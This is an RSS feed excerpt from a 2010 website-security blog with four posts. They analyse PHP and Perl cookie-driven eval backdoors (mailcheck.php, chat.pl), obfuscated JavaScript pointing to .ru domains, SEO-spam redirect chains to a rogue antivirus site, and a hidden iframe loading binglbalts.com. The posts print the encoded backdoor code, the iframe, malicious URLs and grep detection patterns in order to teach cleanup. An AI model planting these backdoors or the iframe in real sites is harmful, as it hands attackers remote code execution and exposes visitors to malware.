			<content:encoded><![CDATA[<p>This attack isn&#8217;t anything new, it was used on a number of Italian sites in March 2010, but we&#8217;ve been seeing more of it infecting websites recently so I thought I&#8217;d elaborate.</p>
<p>Quite often when scanning or cleaning infected websites, when we see the mailcheck.php file, we also see the chat.pl file but that isn&#8217;t cast in stone. However, we have not seen chat.pl by itself. In other words, mailcheck.php can appear by itself, but chat.pl does not &#8211; at least from what we&#8217;ve seen.</p>
<p>The mailcheck.php files usually contains this code:</p>
<div><span style="font-size: x-small;"><span lang="EN">&lt;?php eval(base64_decode(‘aWYoaXNzZXQoJF9DT09LSUVbIlBIUFNFU1NJSUQiXSkpe2V2YWwoYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsiUEhQU0VTU0lJRCJdKSk7ZXhpdDt9’));</span></span></div>
<div><span style="font-size: x-small;"><span lang="EN">echo &#8220;checking email…&#8221;;?&gt;</span></span></div>
<p><span style="font-size: x-small;"><span lang="EN"> </p>
<p> </p>
<p></span></span></p>
<p><code><!--p eval(base64_decode(‘aWYoaXNzZXQoJF9DT09LSUVbIlBIUFNFU1NJSUQiXSkpe2V2YWwoYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsiUEhQU0VTU0lJRCJdKSk7ZXhpdDt9’));  echo “checking email…”;--></code></p>
<p>Which deobfuscates to:</p>
<p><code>if(isset($COOKIE[“PHPSESSIID”])){eval(base64_decode($COOKIE[“PHPSESSIID”]));exit;}</code></p>
<p>The chat.pl file is programmed in Perl and looks like:</p>
<p><code>#!/usr/bin/perl<br />
use MIME::Base64 ();eval MIME::Base64::decode("JGMgPSAkRU5WeyJIVFRQX0NPT0tJRSJ9O0BjID0gc3BsaXQgLzsvLCAkYztmb3JlYWNoICRhIChA\nYyl7JGEgPX4gbS9QSFBTRVNTSUlEPSguKikvO2lmIChsZW5ndGgoJDEpID4gMCkge2V2YWwgTUlN\nRTo6QmFzZTY0OjpkZWNvZGUoJDEpO2RpZSAiIjt9fQ==");<br />
$P = "Lf'njItkk";<br />
$WinNT = 0;<br />
$NTCmdSep = "&amp;";<br />
$UnixCmdSep = ";";<br />
$CommandTimeoutDuration = 120;<br />
$ShowDynamicOutput = 1; </code></p>
<p>As you can see, this code also uses the base64 decoding even though in it&#8217;s written in Perl. Same strategy, different programming language.</p>
<p>With the infection of mailcheck.php and/or chat.pl, we&#8217;ve seen a number of .php and sometimes even .html files that have some PHP code inserted across the top of the file that looks like:</p>
<p>&lt;?php ob_start(&#8216;security_update&#8217;); function security_update($buffer){return $buffer.&#8217;&lt;script language=&#8221;javascript&#8221;&gt;function t()&#8230;<br />
<code><!--p ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascrip--></code></p>
<p>What&#8217;s interesting about this malscript is that it uses the &#8216;ob_start&#8217; function to run it&#8217;s code. ob_start is used by many WordPress sites, software galleries and other software and plugins for a large variety of websites.</p>
<p>This clearly shows how clever the hackers are. They&#8217;re actually using valid functions found on many websites to run their malscripts. Also by &#8220;hiding&#8221; their malscript as something that uses the words &#8220;security_update&#8221; they hope that people will overlook their code and move on to other harmful looking code instead.</p>
<p><strong>What can you do if you find this on your website?</strong></p>
<p>Again, this type of attack is the result of a virus that steals the FTP passwords from a PC, sends them to as server which then modifies the files on the website and adds the mailcheck.php and or the chat.pl files so they can re-infect the website after the owner has cleaned the site and changed the FTP passwords.</p>
<p>I recommend using WS_FTP by Ipswitch because this program does not save the stored passwords in plain text. They are encrypted which means the hackers have to do more work in order to use them. It&#8217;s not that they aren&#8217;t &#8220;hackable&#8221;, it&#8217;s just that the hackers have so many other PCs and websites that are easily hacked that right now, they probably won&#8217;t spend the time or effort in cracking the encryption.</p>
<p>You can also check to see if your hosting provider allows you to use SFTP instead of FTP. SFTP is encrypted traffic so a hacker&#8217;s virus can&#8217;t easily sniff the traffic and see the plain text username and password.</p>
<p>If you have any comments about this information or have a specific instance of a similar infection, please post your comments below.</p>
<p>Thank you.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/05/attack-of-mailcheck-php-and-chat-pl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blender type website infections</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/04/blender-type-website-infections/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/04/blender-type-website-infections/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 14:42:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[avattop.ru]]></category>
		<category><![CDATA[buytheblender.ru]]></category>
		<category><![CDATA[cobalttrueblue.ru]]></category>
		<category><![CDATA[excellentblender.ru]]></category>
		<category><![CDATA[forredtag.ru]]></category>
		<category><![CDATA[greatwebradio.ru]]></category>
		<category><![CDATA[homesaleplus.ru]]></category>
		<category><![CDATA[hotnewgirl.ru]]></category>
		<category><![CDATA[livesitedesign.ru]]></category>
		<category><![CDATA[new Array()]]></category>
		<category><![CDATA[new Date()]]></category>
		<category><![CDATA[newusaguide.ru]]></category>
		<category><![CDATA[newvillagefresh.ru]]></category>
		<category><![CDATA[pokesack.ru]]></category>
		<category><![CDATA[recentmexico.ru]]></category>
		<category><![CDATA[retireterrify.ru]]></category>
		<category><![CDATA[royalbling.ru]]></category>
		<category><![CDATA[samuest.ru]]></category>
		<category><![CDATA[sitemape.ru]]></category>
		<category><![CDATA[snoreflash.ru]]></category>
		<category><![CDATA[sugaryhome.ru]]></category>
		<category><![CDATA[superbblender.ru]]></category>
		<category><![CDATA[superroadmap.ru]]></category>
		<category><![CDATA[supersupermall.ru]]></category>
		<category><![CDATA[theblendertutorial.ru]]></category>
		<category><![CDATA[theblendertv.ru]]></category>
		<category><![CDATA[thelaceweb.ru]]></category>
		<category><![CDATA[thesuperexchange.ru]]></category>
		<category><![CDATA[thesuperpager.ru]]></category>
		<category><![CDATA[webdesktopnet.ru]]></category>
		<category><![CDATA[webnetenglish.ru]]></category>
		<category><![CDATA[worldmusicmagazine.ru]]></category>
		<category><![CDATA[yoursuperpool.ru]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=352</guid>
		<description><![CDATA[We&#8217;ve been seeing a lot of recent website infections that use highly obfuscated javascript code that decodes to a domain: yourblenderparts.ru:8080. Many other domains are used as well such as: superbblender.ru thesuperpager.ru superroadmap.ru supersupermall.ru theblendertv.ru theblendertutorial.ru excellentblender.ru thechocolateweb.ru whosaleonline.ru worldmusicmagazine.ru &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/04/blender-type-website-infections/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been seeing a lot of recent website infections that use highly obfuscated javascript code that decodes to a domain: yourblenderparts.ru:8080.</p>
<p>Many other domains are used as well such as:</p>
<ul>
<li>superbblender.ru</li>
<li>thesuperpager.ru</li>
<li>superroadmap.ru</li>
<li>supersupermall.ru</li>
<li>theblendertv.ru</li>
<li>theblendertutorial.ru</li>
<li>excellentblender.ru</li>
<li>thechocolateweb.ru</li>
<li>whosaleonline.ru</li>
<li>worldmusicmagazine.ru</li>
<li>thelaceweb.ru</li>
<li>webdesktopnet.ru</li>
<li>sugaryhome.ru</li>
<li>homesaleplus.ru</li>
<li>worldmusicmagazine.ru</li>
<li>greatwebradio.ru</li>
<li>avattop.ru</li>
<li>recentmexico.ru</li>
<li>cobalttrueblue.ru</li>
<li>webnetenglish.ru</li>
<li>newusaguide.ru</li>
<li>livesitedesign.ru</li>
<li>sitemape.ru</li>
<li>samuest.ru</li>
<li>pokesack.ru</li>
<li>royalbling.ru</li>
<li>retireterrify.ru</li>
<li>thesuperexchange.ru</li>
<li>snoreflash.ru</li>
<li>royalbling.ru</li>
<li>forredtag.ru</li>
<li>newvillagefresh.ru</li>
<li>hotnewgirl.ru</li>
<li>yoursuperpool.ru</li>
<li>buytheblender.ru</li>
</ul>
<p>The infectious code we found was at the bottom of index.php files obviously with the &lt;script&gt;&lt;/script&gt; tags and generally the same code was found at the bottom of various .js (javascript) files without the script tags.</p>
<p>In the obfuscated code there&#8217;s usually a number of strings that look like:</p>
<p>if (a!=&#8221; &amp;&amp; a=&#8217;b'){a=null}</p>
<p>There are of course variances to this. The variable &#8216;a&#8217; can be any letter or even an underscore &#8220;_&#8221; and may consist of two letters either upper or lowercase.  The variable &#8216;b&#8217; can be any letter or underscore and can actually be one or two characters and may or may not be uppercase. Other than that, they&#8217;re exactly the same. <img src='http://wewatchyourwebsite.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This format will be found in the malscript in a number of places but obviously with different variables.</p>
<p>The string of characters that all this code works on can be in hex format, for instance:</p>
<p>var I=&#8221;\x68\x74\x74\x70\x3a\x2f\x2f&#8230;&#8221; (which is actually &#8220;http://&#8221;)</p>
<p>or it might be something like:</p>
<p>var M=&#8221;hOtFtOp:O/O/&#8230;&#8221; (which, when you remove the uppercase characters is actually &#8220;http://&#8221;)</p>
<p>In the obfuscated malscript there is also a number of variable declarations. You&#8217;ll find things like:</p>
<ul>
<li>var vM=new Array()</li>
<li>var j=new String() (sometimes with a value inside the parenthesis)</li>
<li>var Z=window</li>
<li>var K=new Date()</li>
<li>var G=new Regexp(&#8230;)</li>
<li>var QF=document</li>
</ul>
<p>When I see a variable declaration like: var Z=window or var QF=document, I know that somewhere in the malscript I&#8217;ll see something like: z.location or QF.write. This is a common obfuscation technique of the hackers.</p>
<p>In all the cases we&#8217;ve worked on with this type of infection, it&#8217;s been the result of a virus that has stolen the FTP passwords from a PC with FTP access to the website.</p>
<p>We&#8217;ve written about this before, but here are the steps to follow to prevent this from happening again.</p>
<ol>
<li>Install a new anti-virus program. The reason is that it&#8217;s obvious that the current anti-virus software didn&#8217;t detect anything. Often times these viruses &#8220;learn&#8221; how to evade detection from the currently installed anti-virus software. Therefore, something new and different is needed to find and remove it. Many have had good results with one of the following: Kaspersky, Avast or Vipre (Sunbelt Software).</li>
<li>Change all FTP passwords. I recommend creating a new FTP account for everyone or for every PC that will be accessing the website. Then be sure that FTP logging is activated. This is important. If your website gets infected again, you can look in the logs to see who has the virus. If there&#8217;s a user named john and his username shows up in the logs from somewhere across the world, you can safely assume that it&#8217;s his username that&#8217;s been compromised.</li>
</ol>
<p>That&#8217;s it. 2 steps. It&#8217;s easier to prevent your site from being infected than it is to recover from an addiction.</p>
<p>If you have more domains to add to this or would like to comment, please do so. You can leave a comment below or you can email direct at <a href="mailto:traef@wewatchyourwebsite.com">traef@wewatchyourwebsite.com</a></p>
<p>Until next time&#8230;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/04/blender-type-website-infections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The recent &quot;Movie Review&quot; infections</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/04/the-recent-movie-review-infections/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/04/the-recent-movie-review-infections/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 13:06:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[3 10 To Yuma Soundtrack]]></category>
		<category><![CDATA[acm awards]]></category>
		<category><![CDATA[amanda peterson]]></category>
		<category><![CDATA[bernadette protti]]></category>
		<category><![CDATA[dan henderson]]></category>
		<category><![CDATA[dazed and confused cast]]></category>
		<category><![CDATA[death of a cheerleader]]></category>
		<category><![CDATA[farley granger]]></category>
		<category><![CDATA[freshman fall imdb]]></category>
		<category><![CDATA[jake shields]]></category>
		<category><![CDATA[josh selby]]></category>
		<category><![CDATA[kelly pavlik]]></category>
		<category><![CDATA[kesha snl]]></category>
		<category><![CDATA[king mo]]></category>
		<category><![CDATA[knights templar]]></category>
		<category><![CDATA[luci baines johnson pictures]]></category>
		<category><![CDATA[mark kerr]]></category>
		<category><![CDATA[pavlik]]></category>
		<category><![CDATA[psn code generator]]></category>
		<category><![CDATA[roma airport]]></category>
		<category><![CDATA[sabres hockey]]></category>
		<category><![CDATA[sergio martinez]]></category>
		<category><![CDATA[strangers on a train movie]]></category>
		<category><![CDATA[strike force nashville presale code]]></category>
		<category><![CDATA[strike force results hershel walker]]></category>
		<category><![CDATA[strikeforce]]></category>
		<category><![CDATA[tao las vegas]]></category>
		<category><![CDATA[tea leoni]]></category>
		<category><![CDATA[the good shepherd]]></category>
		<category><![CDATA[the hitcher movie]]></category>
		<category><![CDATA[this site may harm your computer]]></category>
		<category><![CDATA[tx lottery pick 3]]></category>
		<category><![CDATA[unemployment]]></category>
		<category><![CDATA[warning this site may harm your computer]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=344</guid>
		<description><![CDATA[Over the past week, we&#8217;ve been seeing a lot of infected websites that are ranking for various movie review web pages &#8211; and these sites have nothing to do with movies! The typical infection is a five letter .php file &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/04/the-recent-movie-review-infections/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Over the past week, we&#8217;ve been seeing a lot of infected websites that are ranking for various movie review web pages &#8211; and these sites have nothing to do with movies!</p>
<p>The typical infection is a five letter .php file such as:</p>
<ul>
<li>juqip.php</li>
<li>kirqf.php</li>
<li>wxtrg.php</li>
<li>mtywo.php</li>
<li>tijox.php</li>
</ul>
<p>And other file names. The common denominator here is the five letter file name. From what we&#8217;ve seen the file name doesn&#8217;t start with a vowel and it appears there is a different file name for each website. If you were to Google tijox.php you&#8217;ll only see it on one website.</p>
<p>For each of these sites, there is a folder named &#8220;./files&#8221;. The reason for the dot before the folder name is to hide it from many programs. For instance in the FTP program I use WS_FTP by Ipswitch, you have to specify that you want to see all listings that begin with a dot. By default, in WS_FTP, this folder won&#8217;t even show. The same is true for Linux. You won&#8217;t see the folder that begins with a dot.</p>
<p>All the files in the &#8220;./files&#8221; folder are put there by the hackers. The majority of them are movie reviews, but there&#8217;s also .html files in there about the Buffalo Sabres hockey team, various &#8220;Lord of War&#8221; files, Texas Lottery Pick 3 and various other frequently searched terms.</p>
<p>We have seen a lot of them using search terms that reference &#8220;lord of war&#8221;, but other search terms used are:</p>
<ul>
<li>3 10 To Yuma Soundtrack</li>
<li>death of a cheerleader wiki</li>
<li>tx lottery pick 3</li>
<li>sabres hockey</li>
<li>strike force results hershel walker</li>
<li>strike force nashville presale code</li>
<li>kesha snl</li>
<li>strangers on a train movie</li>
<li>knights templar</li>
<li>freshman fall imdb</li>
<li>dazed and confused cast</li>
<li>strangers on a train patricia highsmith</li>
<li>luci baines johnson pictures</li>
<li>bernadette protti pictures</li>
<li>dan henderson vs jake shields fight video</li>
<li>kelly pavlik news</li>
<li>the good shepherd imdb</li>
<li>acm awards 2010 voting</li>
<li>doctor who victory of the daleks download</li>
<li>dazed and confused lyrics</li>
<li>amstel gold race 2010</li>
<li>roma airport</li>
<li>farley granger imdb</li>
<li>tao las vegas</li>
<li>mastiff</li>
<li>josh selby basketball</li>
<li>king mo vs mark kerr</li>
<li>pavlik vs martinez undercard</li>
<li>american bulldog</li>
<li>kelly pavlik vs miguel espino</li>
<li>kelly pavlik wiki</li>
<li>sergio martinez next fight</li>
<li>joe mather girlfriend</li>
<li>batman and robin comic</li>
<li>bernadette protti</li>
<li>guillain barre syndrome wikipedia</li>
<li>shake weight reviews does it work</li>
<li>strikeforce results january 30</li>
<li>the hitcher movie</li>
<li>psn code generator</li>
<li>amanda peterson photos</li>
<li>elearning</li>
<li>tea leoni</li>
<li>patrick dempsey</li>
<li>unemployment</li>
<li>and many, many others</li>
</ul>
<p>However, the real interesting information is in the query string. The query string has the &#8220;?&#8221; after the .php file name, and then it uses a variety of identifiers. Sometimes it&#8217;s a single letter other times we&#8217;ve seen words like;</p>
<ul>
<li>sell</li>
<li>in</li>
<li>post</li>
<li>off</li>
<li>do</li>
<li>topic</li>
<li>page</li>
<li>pageid</li>
<li>go</li>
</ul>
<p>these are followed by the search term. In the search term the spaces are converted to %20 possibly to further try and obfuscate their work.</p>
<p>We found that the majority of sites with this infection have already been found by Google and labeled, &#8220;this site may harm your computer&#8221;. Unfortunately not all of them have been flagged yet. I say unfortunately, because it seems as though that&#8217;s the way most website owners or webmasters find out that a website has been infected &#8211; by Google flagging it and sending an email to the email addresses listed in the Google Webmaster Tools.</p>
<p>If you were to Google, &#8220;the hitcher movie&#8221;, many listings appear that have the warning this site may harm your computer. Some don&#8217;t. Anyone looking to find information about &#8220;the hitcher movie&#8221; might click on one of the sites that hasn&#8217;t been labeled by Google yet and here&#8217;s what would happen.</p>
<p>First, inside the &#8220;./files&#8221; folder, there is typically a file named &#8220;b.log&#8221;. This file contains the website that these files redirect to when clicked on only from a Google Search Results Page (SERP).</p>
<p>For instance in one investigation the b.log file looked like this:</p>
<p>kqx7ea.xorg.pl|1271657010</p>
<p>Anyone clicking on a Google SERP for this particular website would be directed to:</p>
<p>http://kqx7ea.xorg.pl/in.php?t=cc&amp;d=18-04-2010_x_1816&amp;h=kdsproductions.com&amp;p=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26rlz%3D1T4GPTB_enUS290US290%26q%3Dthe%2Bhitcher%2Bmovie%26start%3D10%26sa%3DN http://kdsproductions.com/ekctj.php?p=the%20hitcher%20movie</p>
<p>Which then redirects to:</p>
<p>http://www4.nomikals2.com/?p=p52dcWltbV%2FRlsijZFaZp29e2KHObWOXk5ecmmFoZG6a http://kqx7ea.xorg.pl/in.php?t=cc&amp;d=18-04-2010_x_1816&amp;h=kdsproductions.com&amp;p=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26rlz%3D1T4GPTB_enUS290US290%26q%3Dthe%2Bhitcher%2Bmovie%26start%3D10%26sa%3DN</p>
<p>Which redirects to:</p>
<p>http://www2.scanprotection34p.net</p>
<p>Which wants to install a fake (rogue) anti-virus program on your PC.</p>
<p><strong>What to look for</strong></p>
<p>Look in your root folder for your website. It might be public_html or just html. Look for any .php files that have five letters that look totally random. From what we can tell, they are totally random. Then make sure that your FTP software is showing hidden files and folders. Look for a folder named &#8220;files&#8221; and see if there aren&#8217;t a whole lot of .html files in there that you&#8217;re quite certain, you didn&#8217;t put there.</p>
<p><strong>What to do</strong></p>
<p>If you do find these instances on any of your websites, remove the ./files folder and the five letter randomly named .php file. There may also be .php files installed in your images folders. Search all files for the string:</p>
<p>eval(base64_decode( followed by a long list of characters. Don&#8217;t just delete this file, but examine it. If you need help decoding it, please email at: <a href="mailto:traef@wewatchyourwebsite.com">traef@wewatchyourwebsite.com</a></p>
<p>In all our cases, we&#8217;ve found that the culprit was a virus on a PC with FTP access to the infected website. We&#8217;ve seen the FTP logs and we&#8217;ve identified the IP addresses that some of these files came from.</p>
<p>As with many website infections, the first step is change all FTP passwords and do not save them on any PC &#8211; yet.</p>
<p>Then obviously remove all the files identified above.</p>
<p>Next, install a different anti-virus program on your PC. The reason is that these viruses and trojans know how to evade detection of the anti-virus program that&#8217;s already been installed when the virus first infected the PC. In order to find and remove the viruses you have to install a different anti-virus program.</p>
<p>Many have had good success with one of the following: Kaspersky, Avast or Vipre (Sunbelt Software). If you&#8217;re already using one of these, then try one of the other two &#8211; it has to be different.</p>
<p>Once you&#8217;ve found and removed the virus or trojan, you can then use your FTP program with the new passwords and feel safe.</p>
<p>The last thing to do is to Request a Review from your Google Webmaster Tools &#8211; if your site has tagged with the warning this site may harm your computer.</p>
<p>All of our clients prevented this warning by our monitoring service. While we couldn&#8217;t prevent their PCs from getting infected, we could detect when their websites changed. We immediately removed the files and alerted them to take the above steps to clean their PCs. Their websites were never blacklisted by Google because of our automated cleaning process.</p>
<p>If you&#8217;d like to be protected, please send me an email: <a href="mailto:traef@wewatchyourwebsite.som">traef@wewatchyourwebsite.som</a></p>
<p>If you have any comments, please feel free to register and let me know your thoughts or experience with this type of infection.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/04/the-recent-movie-review-infections/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Attack of the binglbalts</title>
		<link>http://wewatchyourwebsite.com/wordpress/2010/04/attack-of-the-binglbalts/</link>
		<comments>http://wewatchyourwebsite.com/wordpress/2010/04/attack-of-the-binglbalts/#comments</comments>
		<pubDate>Thu, 08 Apr 2010 19:57:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[binglbalts]]></category>
		<category><![CDATA[binglbalts.com]]></category>

		<guid isPermaLink="false">http://www.wewatchyourwebsite.com/wordpress/?p=332</guid>
		<description><![CDATA[We started seeing a lot of websites infected with a malscript that looks like: iframe frameborder="0" onload=' if (!this.src) { this.src="http://binglbalts.com/grep/"; this.height=0; this.width=0; } '>/iframe In Joomla sites we&#8217;ve found it in /templates/index.php toward the bottom. In WordPress blog sites, &#8230; <a href="http://wewatchyourwebsite.com/wordpress/2010/04/attack-of-the-binglbalts/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>We started seeing a lot of websites infected with a malscript that looks like:</p>
<p><code>iframe frameborder="0" onload=' if (!this.src) { this.src="http://binglbalts.com/grep/"; this.height=0; this.width=0; } '>/iframe</code></p>
<p>In Joomla sites we&#8217;ve found it in /templates/index.php toward the bottom. In WordPress blog sites, we&#8217;ve seen it in the footer.php file.</p>
<p>We&#8217;ve usually been finding them toward the bottom of webpages. As of this writing the binglbalts.com domain is still active.</p>
<p>It turn out the result of these infections has been stolen FTP credentials. We&#8217;ve been able to view the logs of numerous sites that have been hacked by binglbalts.com and we can see the IP addresses of where the infection is coming from.</p>
<p>To clean this, first change all FTP passwords.</p>
<p>Second, you&#8217;ll have to download your entire site onto your PC or Mac. Then use grepWin and use this as the search string:</p>
<p><code>iframe/s*frameborder=\"0\" onload=\' if \(\!this\.src\)/s*\{/s*this\.src=\"http:\/\/binglbalts\.com\/grep\/\"; this\.height=0; this\.width=0;/s*\} \'><\/iframe</code></p>
<p>For the replacement string in the field "Replace with:", leave that field blank. Then set the following:</p>
<p>Search case-sensitive: unchecked<br />
Dot matches newline: check<br />
Create backup files: check<br />
Treat files as UTF8: uncheck</p>
<p>Include system items: check<br />
Include hidden items: check<br />
Include subfolders: check</p>
<p>First hit the Search button. Just to see the files in the Search results window. Then hit Replace. This will find and remove the malscript and create a backup of the original file with the malscript.</p>
<p>This will find it all files with that string in there and remove them.</p>
<p>Then copy the cleaned files to your website.</p>
<p>In a few instances, we've been seeing some .php backdoors associated with binglbalt.com infections. These are usual backdoors we see with this code in them:</p>
<p><code>eval(base64_decode(...</code></p>
<p>To be sure you don't have that in any of your files use grepWin and this search string:</p>
<p><code><\?php/s*eval\(base64_decode\([\'|\"].*?[\'|\"]\)\); \?></code></p>
<p>Examine any files that show up in your Search results window for grepWin. If that's the only line in the file, then just delete the file from your website. If that's not the only line in your webpage, then use grepWin to Replace that string with nothing and you should be clean.  Often times we've found this string in gifimg.php or mailcheck.php.</p>
<p>If you have any questions or comments, please feel free to post them. Or you can send me an email at: traef@wewatchyourwebsite.com</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://wewatchyourwebsite.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://wewatchyourwebsite.com/wordpress/2010/04/attack-of-the-binglbalts/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
